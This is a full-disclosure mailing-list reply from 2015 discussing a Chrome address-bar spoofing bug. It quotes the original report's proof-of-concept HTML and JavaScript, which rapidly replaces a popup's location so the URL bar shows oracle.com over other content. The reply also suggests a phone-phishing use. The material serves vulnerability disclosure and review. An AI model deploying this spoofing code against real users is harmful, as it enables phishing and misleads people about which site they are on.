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List:       full-disclosure
Subject:    Re: [FD] Google Chrome Address Spoofing (Request For Comment)
From:       Valentinas Bakaitis <v.bakaitis () gmail ! com>
Date:       2015-06-30 22:12:35
Message-ID: CAP7Z6--Zd8zojRXbevz+xETqvqRGWJKhaY=OL9LL2mRusPMNiA () mail ! gmail ! com
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Can you perform any actions on the page once the URL is replaced, or is it
non responsive? (asking because PoC did not work on my Chrome 43.0.2357.130
(64-bit) on OSX). If it is non responsive then the impact is very limited.
Worst thing I can think of is showing "your account is suspended, please
contact technical support on 0800-555-555" and then using the trust user
puts in the URL for phone phishing. If it is responsive, then it's indeed
pretty bad.

Cheers!
V.

On Tue, Jun 30, 2015 at 6:08 PM, David Leo <david.leo@deusen.co.uk> wrote:

> Impact:
> The "click to verify" thing is completely broken...
> Anyone can be "BBB Accredited Business" etc.
> You can make whitehouse.gov display "We love Islamic State" :-)
>
> Note:
> No user interaction on the fake page.
>
> Code:
> ***** index.html
> <script>
> function next()
> {
>         w.location.replace('http://www.oracle.com/index.html?'+n);n++;
>         setTimeout("next();",15);
>         setTimeout("next();",25);
> }
> function f()
> {
>         w=window.open("content.html","_blank","width=500 height=500");
>
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
> }
> </script>
> <a href="#" onclick="f()">Go</a><br>
> ***** content.html
> <b>This web page is NOT oracle.com</b>
> <script>location="http://www.oracle.com/index.html";</script>
> ***** It's online
> http://www.deusen.co.uk/items/gwhere.6128645971389012/
> (The page says "June/16/2015" - it works as we tested today)
>
> Request For Comment:
> We reported this to Google.
> They reproduced, and say
> It's DoS which doesn't matter.
> We think it's very strange,
> since the browser does not crash(not DoS),
> and the threat is obvious.
> What's your opinion?
>
> Kind Regards,
>
> PS
> We love clever tricks.
> We love this:
> http://dieyu.org/
>
>

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